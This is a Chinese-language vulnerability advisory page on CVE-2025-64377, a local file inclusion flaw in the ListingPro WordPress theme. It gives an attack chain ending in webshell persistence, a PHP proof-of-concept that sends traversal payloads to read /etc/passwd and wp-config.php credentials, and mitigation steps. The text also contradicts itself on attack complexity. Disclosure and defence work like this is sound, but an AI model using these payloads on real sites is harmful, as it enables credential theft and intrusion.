IPBUF安全漏洞报告
English
CVE-2025-64377 CVSS 8.1 高危

CVE-2025-64377 ListingPro主题PHP本地文件包含漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-64377
漏洞类型
本地文件包含(LFI)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CridioStudio ListingPro (WordPress主题)

相关标签

本地文件包含LFIWordPress漏洞ListingProPHP漏洞CVE-2025-64377高危漏洞Patchstack主题漏洞

漏洞概述

CVE-2025-64377是WordPress ListingPro主题中的一个高危安全漏洞,CVSS评分达到8.1分。该漏洞属于PHP本地文件包含(Local File Inclusion, LFI)类型,存在于ListingPro主题的2.9.10之前所有版本中。攻击者无需任何认证即可利用此漏洞,通过构造特殊的请求参数触发PHP的include或require语句不当控制文件名,从而读取服务器上的敏感文件,如配置文件(/etc/passwd)、WordPress配置文件(wp-config.php包含数据库凭证)等。漏洞的利用复杂度较低(AC:H表示高复杂度),但对机密性、完整性和可用性都造成高影响。由于该漏洞可通过网络远程利用(AV:N),且无需用户交互(UI:N)和认证(PR:N),因此对互联网暴露的WordPress网站构成严重威胁。Patchstack安全团队于2025年12月18日披露了此漏洞,建议所有使用ListingPro主题的用户立即升级到2.9.10或更高版本以修复此安全问题。

技术细节

该漏洞根源在于ListingPro主题的PHP代码中对用户输入的文件名参数缺乏充分的验证和过滤。攻击者可以通过URL参数传递恶意构造的文件路径,PHP的include/require语句会直接将该路径作为要包含的文件进行加载执行。在未正确配置的情况下,攻击者可利用目录遍历字符(如../../)读取服务器上的任意文件。更危险的是,如果服务器配置允许远程URL包含(allow_url_include=On),攻击者甚至可以包含远程恶意PHP文件,实现远程代码执行(RCE)。典型的攻击路径是通过寻找主题中调用include()或require()函数的文件,然后通过可控参数注入恶意路径。例如,攻击者可能发送请求如:/wp-content/themes/listingpro/assets/css/main.php?file=../../../../etc/passwd来读取系统敏感文件。防御措施包括:对所有文件包含操作进行严格的输入验证、使用白名单机制限制可包含的文件、使用realpath()函数验证文件路径的合法性、以及确保PHP配置中allow_url_include=Off。

攻击链分析

STEP 1
1
侦察阶段:攻击者扫描使用ListingPro主题的WordPress网站,识别版本号确认是否低于2.9.10
STEP 2
2
定位入口点:识别主题中存在文件包含功能的PHP文件,通常在assets/css/或inc/目录下
STEP 3
3
构造恶意请求:利用目录遍历序列(如../../../)配合目标文件路径,构造LFI payload
STEP 4
4
敏感文件读取:通过包含wp-config.php获取数据库凭证、WordPress盐值等敏感配置信息
STEP 5
5
权限提升:如果成功获取管理员凭据,可进一步上传恶意插件实现RCE
STEP 6
6
持久化控制:通过Webshell或修改主题文件建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2025-64377 PoC - ListingPro Local File Inclusion * Affected: ListingPro WordPress Theme < 2.9.10 * Reference: https://patchstack.com/database/Wordpress/Theme/listingpro/vulnerability/wordpress-listingpro-theme-2-9-10-local-file-inclusion-vulnerability */ // Target URL (ListingPro theme endpoint) $target = "http://target-site.com/wp-content/themes/listingpro/assets/css/main.php"; // LFI payloads to read sensitive files $payloads = [ // Read /etc/passwd "../../../../../../etc/passwd", // Read WordPress wp-config.php "../../../../../../html/wp-config.php", "../../../../../../wordpress/wp-config.php", // Read PHP configuration "../../../../../../etc/php.ini" ]; echo "[*] CVE-2025-64377 PoC - ListingPro LFI\n"; echo "[*] Target: $target\n\n"; foreach ($payloads as $payload) { echo "[+] Testing: $payload\n"; $url = $target . "?file=" . urlencode($payload); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 200 && !empty($response)) { echo "[+] SUCCESS - File content retrieved:\n"; echo substr($response, 0, 500) . "\n\n"; } else { echo "[-] FAILED\n\n"; } } // Also try with null byte injection (legacy PHP versions) $nullBytePayload = "../../../../../../etc/passwd%00"; echo "[+] Testing null byte injection: $nullBytePayload\n"; $url = $target . "?file=" . urlencode($nullBytePayload); ?>

影响范围

ListingPro < 2.9.10 (所有版本)

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1)使用WAF规则阻止包含file参数的可疑请求;2)限制主题目录的PHP文件执行权限;3)临时禁用ListingPro主题切换到安全替代方案;4)配置Web服务器阻止对敏感文件(如wp-config.php)的直接访问;5)启用WordPress安全插件进行实时监控和入侵检测。建议在48小时内完成版本升级以彻底消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表